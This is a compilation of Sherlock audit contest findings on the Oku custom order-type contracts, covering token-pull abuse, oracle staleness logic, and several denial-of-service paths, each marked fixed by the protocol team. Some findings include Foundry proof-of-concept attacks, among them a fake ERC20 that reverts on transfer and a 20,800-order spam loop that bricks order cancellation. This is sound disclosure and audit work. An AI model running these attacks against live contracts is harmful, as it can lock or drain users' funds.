0x37, 0xaxaxa, 0xc0ffEE, Bigsam, Boy2000, BugPull, ChinmayF, John44, KungFuPanda, Laksmana, LonWof-Demon, PoeAudits, Ragnarok, Tri-pathi, Xcrypt, Z3R0, bughuntoor, c-n-o-t-e, covey0x07, future2_22, gajiknownnothing, hals, iamandreiski, joshuajee, lanrebayode77, nikhil840096, phoenixv110, rahim7x, silver_eth, t.aksoy, tobi0x18, vinica_boy, whitehair0330, xiaoming90, y51r, zhoo, zxriptor
The function safeTransferFrom()
is used to transfer tokens from user to the protocol contract. This function is used in modifyOrder
and createOrder
with the recipent address as the owner
form who the tokens will be transfered from. An attacker can abuse this functionnality to create unfaire orders for a protocol user that approve more tokens than needed to the protocol contract the fill the order immediatly and gain instant profit while the victim lost his tokens.
In OracleLess.sol::procureTokens():280
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L280
procureTokens()
implement tokens transfer from an owner address to the protocol contract
In StopLimit.sol::createOrder():171
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L171
In StopLimit.sol::modifyOrder():226-230
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol#L226-L230
In Bracket.sol::modifyOrder():250-254
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L250-L254
No response
No response
No response
It would be better to use msg.sender
to ensure that the recipient/owner
of the order is the order creator or juste use msg.sender
as parameter to the safeTransferFrom()
function call instead of order recipient
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/72
Contest-Squad, vinica_boy
Users can create uncancellable order and brick the Bracket
and StopLimit
contracts. Both contracts have an upper limit for their pending orders defined in AutomationMaster
contract. This will ensure that length of the pendingOrderIds
array wont grow indefinitely and it can be traversed with the current gas block limit. Also, the admin can cancel orders if users create inexecutable order which only take space in the array.
But there is case where orders wont be possible to be cancelled by admin when the tokenIn is USDT which will allow users to fulfill the supported amount of orders with order that will never be in range to be executed. For example bracket order for WETH with stopPrice = 0 and takeProfit = 100000 USD
In _cancelOrder()
the tokenIn
amount is send back to the recipient:
order.tokenIn.safeTransfer(order.recipient, order.amountIn)
But this call will always revert for order.recipient
= address(0)
. Here is the _transfer()
function of USDT:
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); @> require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
And when order is created, recipient
can be set to address(0)
since there are no constraints.
N/A
N/A
User create enough orders with recipient set to address(0)
to make the length of pendingOrderIds
reach AutomationMaster.maxPendingOrders
.
We assume that this does not lead to DoS and array elements can be traversed within the block gas limit.
Admin cannot cancel such orders and can only increase the maxPendingOrders
.
This process can happen again and again until the size of pendingOrderIds
and maxPendingOrders
reach numbers for which gas cost to traverse the whole array would be more than the current gas block limit.
Complete DoS for Bracket
and StopLimit
contracts.
N/A
Ensure order recipient to be different than address(0)
.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/115
0x486776, 0xCNX, 0xMitev, 0xNirix, 0xRiO, 0xShoonya, 0xaxaxa, 0xc0ffEE, 0xgremlincat, 0xmujahid002, 10ap17, 4gontuk, BijanF, Boy2000, BugPull, ChaosSR, Contest-Squad, DharkArtz, ExtraCaterpillar, Icon0x, John44, LonWof-Demon, LordAdhaar, MoonShadow, NickAuditor2, PoeAudits, Pro_King, Smacaud, Sparrow_Jac, TxGuard, Uddercover, Waydou, Weed0607, X0sauce, Xcrypt, ZanyBonzy, curly, durov, jovemjeune, lukris02, mladenov, mxteem, nikhilx0111, oxwhite, pkabhi01, s0x0mtee, safdie, sakibcy, silver_eth, skid0016, t0x1c, tmotfl, tnevler, udo, vinica_boy, xiaoming90, yovchev_yoan, zhenyazhd, zhoo
The PythOracle contract incorrectly validates the freshness of price data using the getPriceUnsafe() function. The current logic ensures that prices are always considered stale, which results in valid orders failing to execute.
In PythOracle.sol:29, the logic :
https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/oracle/External/PythOracle.sol#L28-L31
is incorrect. The condition ensures that the price is always considered stale, regardless of whether the price is recent or valid. The comparison fails to verify if the price.publishTime is newer than the defined threshold.
1- The noOlderThan parameter is set during the function call, defining the allowed freshness window for price data.
2- A valid price.publishTime is provided by the oracle, but due to incorrect logic, it fails validation.
1- The price feed from the Pyth Oracle contains a valid and fresh publishTime that is newer than block.timestamp - noOlderThan.
2- No tampering or delays in oracle updates occur externally.
1- Alice places a stop-limit order for a token pair using the PythOracle as the price feed.
2- The oracle updates its price feed, providing a fresh price with a publishTime newer than block.timestamp - noOlderThan.
3- When checkInRange() is called, the require condition in PythOracle.sol:29 evaluates the price as stale, despite it being valid.
4- The order fails to execute as the system misinterprets the freshness of the price data.
The protocol and its users face the following consequences:
User Losses:
Protocol Reputation:
1- Alice places a stop-limit order to sell Token A for Token B if the price of Token A falls below 50.
2- The oracle updates its price feed with a publishTime of block.timestamp - 5 seconds.
3- The noOlderThan parameter is set to 30 seconds.
Execution:
The condition in PythOracle.sol:29 evaluates:
require(price.publishTime < block.timestamp - 30, "Stale Price");
block.timestamp - 5 < block.timestamp - 30
Result:
Correct the logic to ensure the freshness validation verifies that the publishTime is newer than the threshold:
require(price.publishTime >= block.timestamp - noOlderThan, "Stale Price");
The following test demonstrates the issue and verifies the fix:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "forge-std/Test.sol"; contract PythOracleTest is Test { uint256 public noOlderThan = 30; function testIncorrectFreshnessCheck() public { uint256 currentTime = block.timestamp; uint256 validPublishTime = currentTime - 5; // Incorrect logic bool stale = (validPublishTime < currentTime - noOlderThan); assertTrue(stale); // This fails even though the price is valid. // Correct logic bool fresh = (validPublishTime >= currentTime - noOlderThan); assertTrue(fresh); // This passes as the price is valid. } }
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/146
LonWof-Demon, ami, bughuntoor, covey0x07
An order's direction is determined by whether the current exchangeRate
is below or above the takeProfit
price
orders[existingOrderId] = Order({ orderId: existingOrderId, takeProfit: takeProfit, stopPrice: stopPrice, amountIn: amountIn, tokenIn: tokenIn, tokenOut: tokenOut, recipient: recipient, takeProfitSlippage: takeProfitSlippage, feeBips: feeBips, stopSlippage: stopSlippage, direction: MASTER.getExchangeRate(tokenIn, tokenOut) > takeProfit //exchangeRate in/out > takeProfit });
However, this could be problematic, in the case where by the time the user's transaction is executed, the price moves beyond the takeProfit
price and changes direction.
function checkInRange( Order memory order ) internal view returns (bool inRange, bool takeProfit, uint256 exchangeRate) { exchangeRate = MASTER.getExchangeRate(order.tokenIn, order.tokenOut); if (order.direction) { //check for take profit price if (exchangeRate <= order.takeProfit) { return (true, true, exchangeRate); } //check for stop price if (exchangeRate >= order.stopPrice) { return (true, false, exchangeRate); } } else { //check for take profit price if (exchangeRate >= order.takeProfit) { return (true, true, exchangeRate); } //check for stop price if (exchangeRate <= order.stopPrice) { return (true, false, exchangeRate); } } }
In this case both of the takeProfit
and stopPrice
would be on the same side of the price, which would also make it instantly executable. The only problem is that it would be treated as a stop, rather than a takeProfit
, which would result in using the stopSlippage
, instead of the takeProfitSlippage
.
In the case where the stopSlippage
is higher than the takeProfit
slippage, this would expose the user to a higher loss of funds than expected.
Wrong direction logic.
takeProfitSlippage
is 5% and stopPriceSlippage
is 15%Using wrong slippage parameter.
Allow the user to specify the direction.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Bracket
contract by inputing malicious txData
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/202
0xaxaxa, 0xloscar01, 0xpetern, 10ap17, AshishLac, ChinmayF, ExtraCaterpillar, KiroBrejka, Laksmana, Sparrow_Jac, ZanyBonzy, auditism, jah, phoenixv110, t.aksoy, t0x1c, whitehair0330, wickie, y51r
User can brick the Bracket
contract by inputing malicious txData
. This is possible because in all of the swap related contracts (OracleLess
, Bracket
), the txData
is provided from the caller one way or another. This will brick the swapping functionality of any token practically locking the funds of every user in the contract. Part of this happens due to the behaviour of safeApprove
function, which looks like this:
function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); }
As seen in the block of code, the function requires the value of approval to be 0 or the existing allowance to be 0 in order for the tx to go through.
the behaviour of safeApprove
function, which is due to the old OpenZeppelin version used in the system
User performing an upkeep with malicious txData
that will leave 1 wei of a corresponding worth of allowance, which will be enough for the execute
function to revert at the following line:
function execute( address target, bytes memory txData, uint256 amountIn, IERC20 tokenIn, IERC20 tokenOut, uint16 bips ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) { //update accounting uint256 initialTokenIn = tokenIn.balanceOf(address(this)); uint256 initialTokenOut = tokenOut.balanceOf(address(this)); //approve @> tokenIn.safeApprove(target, amountIn);
None
performUpkeep
function to be called)performUpkeep
function is allowed to specify his perform data input, meaning he is absolutely free to compute the malicious txData
, which will have amountIn - 1
as the amount that the target
address needs to swap:function performUpkeep( @> bytes calldata performData ) external override nonReentrant {
execute
function is called, and the following block of code is executed:function execute( address target, bytes memory txData, uint256 amountIn, IERC20 tokenIn, IERC20 tokenOut, uint16 bips ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) { //update accounting uint256 initialTokenIn = tokenIn.balanceOf(address(this)); uint256 initialTokenOut = tokenOut.balanceOf(address(this)); //approve tokenIn.safeApprove(target, amountIn); //perform the call (bool success, bytes memory result) = target.call(txData);
We approve the target
address with amountIn
, which is the amountIn
saved in the orders
mapping.
5. Then, after the swap is performed, the target address would have used amountIn - 1
tokens to perform the swap, leaving it with 1 wei worth of the corresponding token of allowance, which due to the safeApprove
behaviour will revert the function every time someone tries to swap with the same tokenIn
as the attacker swapped.
User can block the usage of every single existing ERC20
including those the system wants to comply with
No response
The OpenZeppelin version is outdated. Upgrade the version to the newest one possible and use forceApprove
instead of safeApprove
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/277
phoenixv110
The max value of feeBips
should be <=10000. But this validation is missing in createOrder()
. All such orders where feeBips is > 10000 will revert in execute()
method. A malicious user can create 100s of such orders which never execute even if the price conditions are met. It can use USDC
as tokenIn and blacklist itself so that _cancelOrder()
also reverts. As _cancelOrder()
tries to transfer tokenIn to the user. If the receiver is blacklisted user then transfer will fail. This was the malicious user can create 1 wei orders will can neither execute nor cancellable.
Missing feeBips input validation in createOrder()
No response
No response
No response
Such orders will exist in the pendingOrderIds
which can not be deleted from the queue. These orders can increase the queue size until the max gas usage limit is reached. Which will DoS all other orders.
No response
Add the check feeBips <= 10000
in createOrder()
of OracelLess.sol
.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/331
covey0x07, vinica_boy
When a user creates an order in the OracleLess
contract, he can add a malicous token contract that reverts when tokens are transferred from the OracleLess
contract. This order can't be canceled by admin. A malicious attacker can create this kind of order as many as he can to grife the protocol.
At OracleLess.sol#L38, there is no restrictions for tokenIn
.
Any contract that implements IERC20
can be tokenIn
.
N/A
N/A
OracleLess
contract.function _cancelOrder(Order memory order) internal returns (bool) { //refund tokenIn amountIn to recipient @> order.tokenIn.safeTransfer(order.recipient, order.amountIn);
It is recommended to add mechanism to whitelist tokens.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/424
Boy2000, PoeAudits, iamandreiski
The missing check for blacklisted accounts when creating orders allows users to specify a blacklisted account as the recipient of an easily executable order to freeze execution of the orderbook. This will also prevent the order from being canceled by the admin, since the cancelOrder function attempts to send tokens to the order.recipient, which is blacklisted. This can be used to fill up the arrays which contain pendingOrders, which will eventually DOS the protocol when the maxPendingOrders is reached.
The protocol expects to use tokens with blacklists, and allows users to specify the recipient address where tokens will be sent without properly validation if transferring tokens is possible to the recipient address.
Bracket.sol:procureTokens uniquely uses msg.sender to take the tokens from:
This allows a non-blacklisted address to create and pay for an order for a blacklisted account. This then becomes uncancelable due to the Bracket.sol:_cancelOrder function attempting to return these tokens to the order.recipient:
This will cause a DOS to the protocol when the pendingOrderIds reaches maxPendingOrders:
This will also cause the ArrayMutation:removeFromArray to explode in gas costs.
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test, console2 as console} from "lib/forge-std/src/Test.sol"; import {Gas} from "test/Gas.sol"; import "src/automatedTrigger/IAutomation.sol"; import {OracleLess} from "src/automatedTrigger/OracleLess.sol"; import {AutomationMaster} from "src/automatedTrigger/AutomationMaster.sol"; import {Bracket} from "src/automatedTrigger/Bracket.sol"; import {StopLimit} from "src/automatedTrigger/StopLimit.sol"; import {IPermit2} from "src/interfaces/uniswapV3/IPermit2.sol"; import {IERC20} from "src/interfaces/openzeppelin/IERC20.sol"; contract Setup is Test, Gas { AutomationMaster internal automation; OracleLess internal oracleLess; Bracket internal bracket; StopLimit internal stopLimit; IPermit2 internal permit; IERC20 internal weth = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); IERC20 internal usdc = IERC20(0xaf88d065e77c8cC2239327C5EDb3A432268e5831); address internal _alice = address(0x1111); address internal _bob = address(0x2222); address internal _admin = address(0x12345); address internal _wethWhale = 0xC6962004f452bE9203591991D15f6b388e09E8D0; address internal _usdcWhale = 0x70d95587d40A2caf56bd97485aB3Eec10Bee6336; function setUp() public virtual { uint256 forkId = vm.createSelectFork("http:127.0.0.1:8545"); vm.startPrank(_admin); automation = new AutomationMaster(); permit = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3); bracket = new Bracket(IAutomationMaster(address(automation)), permit); stopLimit = new StopLimit( IAutomationMaster(address(automation)), IBracket(address(bracket)), permit ); oracleLess = new OracleLess(automation, permit); vm.stopPrank(); vm.startPrank(_wethWhale); weth.transfer(_alice, 10 ether); weth.transfer(_bob, 10 ether); vm.stopPrank(); vm.startPrank(_usdcWhale); usdc.transfer(_alice, 10000e6); usdc.transfer(_bob, 10000e6); vm.stopPrank(); IERC20[] memory tokens = new IERC20[](2); tokens[0] = weth; tokens[1] = usdc; IPythRelay[] memory relays = new IPythRelay[](2); relays[0] = IPythRelay(0x384542D720A765aE399CFDDF079CBE515731F044); relays[1] = IPythRelay(0x9BDb5575E24EEb2DCA7Ba6CE367d609Bdeb38246); vm.prank(_admin); automation.registerOracle(tokens, relays); vm.prank(_admin); automation.setMaxPendingOrders(100); } function testBlacklist() public { address blacklisted = 0xE1D865c3D669dCc8c57c8D023140CB204e672ee4; vm.startPrank(_alice); usdc.approve(address(bracket), 1e6); bracket.createOrder( bytes(""), 0, 0, 1e6, usdc, weth, blacklisted, 0, 0, 0, false, bytes(abi.encode("")) ); vm.stopPrank(); vm.startPrank(_admin); vm.expectRevert(); bracket.adminCancelOrder(39339196620263951948733905105); vm.stopPrank(); } }
With the result being a revert from the usdc contract:
├─ [10903] Bracket::adminCancelOrder(39339196620263951948733905105 [3.933e28]) │ ├─ [3777] 0xaf88d065e77c8cC2239327C5EDb3A432268e5831::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) │ │ ├─ [3058] 0x86E721b43d4ECFa71119Dd38c0f938A75Fdb57B3::transfer(0xE1D865c3D669dCc8c57c8D023140CB204e672ee4, 1000000 [1e6]) [delegatecall] │ │ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted │ │ └─ ← [Revert] revert: Blacklistable: account is blacklisted │ └─ ← [Revert] revert: Blacklistable: account is blacklisted ├─ [0] VM::stopPrank() │ └─ ← [Return] └─ ← [Return]
The protocol should add validation for the recipient address for blacklisted users of the tokens added to the protocol that contain a blacklist.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/429
BugPull, krot-0025, xiaoming90, zxriptor
No response
No response
No response
No response
Assume that:
maxPendingOrders
is set to 25, which is similar to the value configured in the test scriptminOrderSize
is set to 10 USD, which is similar to the value configured in the test scriptBob (malicious user) can spend 250 USD to create 25 orders, which will cause the number of pending orders to reach the maxPendingOrders
(25) limit. For each of the orders Bob created, he intentionally configured the order in a way that it will always never be in range. For instance, setting the takeProfit
, stopPrice
, and/or stopLimitPrice
to uint256.max - 1
. In this case, no one can fill his orders.
The protocol admin can attempt to delete Bob's order by calling adminCancelOrder
function to remove Bob's order from the pendingOrderIds
to reduce the size. When Bob's order is canceled, the 10 USD worth of assets will be refunded back to Bob.
The issue is that this protocol is intended to be deployed on Optimism as per the Contest's README where the gas fee is extremely cheap. Thus, Bob can simply use the refunded 10 USD worth of assets and create a new order again.
Thus, whenever the admin cancels Bob's order, he can always re-create a new one again. As a result, whenever innocent users attempt to create an order, it will always revert with a "Max Order Count Reached" error.
File: Bracket.sol 444: function _createOrder( ..SNIP.. 462: require( 463: pendingOrderIds.length < MASTER.maxPendingOrders(), 464: "Max Order Count Reached" 465: );
File: StopLimit.sol 300: function _createOrder( ..SNIP.. 320: require( 321: pendingOrderIds.length < MASTER.maxPendingOrders(), 322: "Max Order Count Reached" 323: );
Medium. DOS and broken functionality. This DOS can be repeated infinitely, and the cost of attack is low.
No response
Consider collecting fees upon creating new orders or canceling existing orders so that attackers will not be incentivized to do so, as it would be economically infeasible.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
StopLimit
order cannot be filled under certain conditionSource: https://github.com/sherlock-audit/2024-11-oku-judging/issues/449
xiaoming90
No response
No response
No response
No response
Assume that the MASTER.checkMinOrderSize
is 100 USD. Assume that the current USDC price is 1.1 USD per USDC.
Bob creates a StopLimit
order with order.tokenIn
= USDC, order.amountIn
= 100e6 (100 USDC), and order.stopLimitPrice
= 100 USD. During the order creation, the MASTER.checkMinOrderSize
function will be executed and the total USD value is 110 USD (100 USDC * 1.1 USD). Thus, the check will pass as it is over the minimum size of 100 USD.
File: AutomationMaster.sol 142: ///@notice determine if a new order meets the minimum order size requirement 143: ///Value of @param amountIn of @param tokenIn must meed the minimum USD value 144: function checkMinOrderSize(IERC20 tokenIn, uint256 amountIn) external view override { 145: uint256 currentPrice = oracles[tokenIn].currentValue(); 146: uint256 usdValue = (currentPrice * amountIn) / 147: (10 ** ERC20(address(tokenIn)).decimals()); 148: 149: require(usdValue > minOrderSize, "order too small"); 150: }
When the price of USDC drops from 1.1 to 0.9, Bob's StopLimit
order will be in range, and the performUpkeep
function will be executed to fill the order. A new bracket order will be created in Line 126 below, as per the instructions of Bob's StopLimit
order, and the 100 USDC within the StopLimit
order will be transferred to the newly created Bracket
order.
File: StopLimit.sol 075: function performUpkeep( 076: bytes calldata performData 077: ) external override nonReentrant { ..SNIP.. 089: //confirm order is in range to prevent improper fill 090: (bool inRange, ) = checkInRange(order); 091: require(inRange, "order ! in range"); ..SNIP.. 124: 125: //create bracket order 126: BRACKET_CONTRACT.fillStopLimitOrder( 127: swapPayload, 128: order.takeProfit, 129: order.stopPrice, 130: order.amountIn, ..SNIP.. 140: );
The Bracket.fillStopLimitOrder
function will execute Bracket._createOrder
function internally. However, the issue is that when the Bracket._createOrder
function is executed to create a new Bracket order, it will perform a minimum order size check again at Line 473 below. Since the total value of 100 USDC is only worth 90 USD, which is below the minimum order size of 100 USD. Thus, the transaction will revert. As a result, Bob's StopLimit
cannot be filled due to the revert.
File: Bracket.sol 444: function _createOrder( 445: uint256 takeProfit, 446: uint256 stopPrice, 447: uint256 amountIn, 448: uint96 existingOrderId, 449: IERC20 tokenIn, 450: IERC20 tokenOut, 451: address recipient, 452: uint16 feeBips, 453: uint16 takeProfitSlippage, 454: uint16 stopSlippage 455: ) internal { ..SNIP.. 473: MASTER.checkMinOrderSize(tokenIn, amountIn);
Medium. Loss of core functionality under certain conditions.
No response
Consider allowing the minimum order size check to be skipped if the order creation is initiated by the StopLimit
contract when filling the StopLimit
order. In this case, the Bracket
order will be created without issues in the above described scenario.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
cancelOrder
order can be DOSed due to unbounded loop.Source: https://github.com/sherlock-audit/2024-11-oku-judging/issues/589
056Security, 0x0x0xw3, 0x37, 0xNirix, 0xaxaxa, 0xeix, 0xlucky, Audinarey, Boy2000, Chinedu, Contest-Squad, ExtraCaterpillar, John44, Kenn.eth, Opeyemi, PeterSR, Ragnarok, Tri-pathi, ami, befree3x, bughuntoor, future2_22, gajiknownnothing, hals, iamandreiski, itcruiser00, joshuajee, mxteem, oualidpro, phoenixv110, rahim7x, s0x0mtee, vinica_boy, whitehair0330, xiaoming90, yuza101, zhoo, zxriptor
The pendingOrderIds
arrays can grow too large making it impossible to cancel subsequent legitimate pending orders, this will create a permanent DOS for the _cancelOrder
no one will be able to cancel orders not admin nor order reciepient.
The root cause of the issue lies in the _cancelOrder
function that loops through the pendingOrderIds
in search of the right one because this pendingOrderIds
array can grow too large a DOS is bound to happen and this can be exploited by a hacker to ransomware the protocol.
function _cancelOrder(Order memory order) internal returns (bool) { for (uint96 i = 0; i < pendingOrderIds.length; i++) { if (pendingOrderIds[i] == order.orderId) { //remove from pending array pendingOrderIds = ArrayMutation.removeFromArray( i, pendingOrderIds ); //refund tokenIn amountIn to recipient order.tokenIn.safeTransfer(order.recipient, order.amountIn); //emit event emit OrderCancelled(order.orderId); return true; } } return false; }
No response
No response
Follow these steps to add foundry to the contract https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry
Install open zeppelin contracts
forge install https://github.com/OpenZeppelin/openzeppelin-contracts.git --no-commit
Copy and paste the code snippet below in the /test/
folder.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {ERC20Mock} from "openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol"; import { AutomationMaster } from "../contracts/automatedTrigger/AutomationMaster.sol"; import { OracleLess } from "../contracts/automatedTrigger/OracleLess.sol"; import "../contracts/interfaces/uniswapV3/IPermit2.sol"; import "../contracts/interfaces/openzeppelin/ERC20.sol"; import "../contracts/interfaces/openzeppelin/IERC20.sol"; contract FakeERC20 { function transfer(address to, uint256 amount) external returns (bool) { revert("HACKED!"); return false; } function transferFrom(address from, address to, uint256 amount) external returns (bool) { return true; } } contract PocTest is Test { AutomationMaster automationMaster; OracleLess oracleLess; IPermit2 permit2; IERC20 fakeErc20; IERC20 realToken; address attacker = makeAddr("attacker"); address alice = makeAddr("alice"); function setUp() public { automationMaster = new AutomationMaster(); oracleLess = new OracleLess(automationMaster, permit2); fakeErc20 = IERC20(address(new FakeERC20())); realToken = IERC20(address(new ERC20Mock())); //MINT ERC20Mock(address(realToken)).mint(alice, 100 ether); } function testDosAttack() public { uint96 orderId; uint gasUsed = gasleft(); vm.startPrank(alice); realToken.approve(address(oracleLess), 100 ether); orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0'); gasUsed = gasleft(); oracleLess.cancelOrder(orderId); console.log("Normal Cancel Gas Usage : ", gasUsed - gasleft()); vm.stopPrank(); vm.startPrank(attacker); gasUsed = gasleft(); for (uint i = 0; i < 20800; i++) oracleLess.createOrder(fakeErc20, fakeErc20, 1, 1, attacker, 10, false, '0x0'); console.log("Attack Gas Usage : ", gasUsed - gasleft()); vm.stopPrank(); vm.startPrank(alice); gasUsed = gasleft(); orderId = oracleLess.createOrder(realToken, realToken, 1 ether, 1, alice, 1, false, '0x0'); oracleLess.cancelOrder(orderId); console.log("After Attack Cancel Gas Usage : ", gasUsed - gasleft()); vm.stopPrank(); } }
Output
[PASS] testDosAttack() (gas: 444968053) Logs: Normal Cancel Gas Usage : 9439 Attack Gas Usage : 394889776 After Attack Cancel Gas Usage : 30294277
From the test output, we can see that 20800
order is enough to cause a DOS on the cancelOrder
function, and it will cost the attacker 394889776
is about $150 dollar.
Create a fuction that can use the index to cancel order.
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1
createOrder
with 0 amount
and make DOS
for allSource: https://github.com/sherlock-audit/2024-11-oku-judging/issues/731
sakibcy
Malicious users can createOrder
with 0 amount and can cause DOS / block users
to fillOrder
, cancleOrder
Malicious users will create huge numbers of orders with 0 amountIn
.
Now if anyone wants to fillOrder
or cancleOrder
they can not do it because:
ArrayMutation::removeFromArray
is called on fillOrder
, cancleOrder
functions.fillOrder
or cancleOrder
they simply run out of gas
while iterating a huge array of pendingOrderIds
.fillOrder
, cancleOrder
function createOrder( IERC20 tokenIn, IERC20 tokenOut, uint256 amountIn, uint256 minAmountOut, address recipient, uint16 feeBips, bool permit, bytes calldata permitPayload ) external override returns (uint96 orderId) { //procure tokens procureTokens(tokenIn, amountIn, recipient, permit, permitPayload); //construct and store order orderId = MASTER.generateOrderId(recipient); orders[orderId] = Order({ orderId: orderId, tokenIn: tokenIn, tokenOut: tokenOut, amountIn: amountIn, minAmountOut: minAmountOut, recipient: recipient, feeBips: feeBips }); //store pending order pendingOrderIds.push(orderId); emit OrderCreated(orderId); }
We can add checks for the createOrder
function something like this
require(amountIn > 0, "amount should be greater than 0")
Or can add code like the other Contracts
MASTER.checkMinOrderSize(tokenIn, amountIn);
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits:
https://github.com/gfx-labs/oku-custom-order-types/pull/1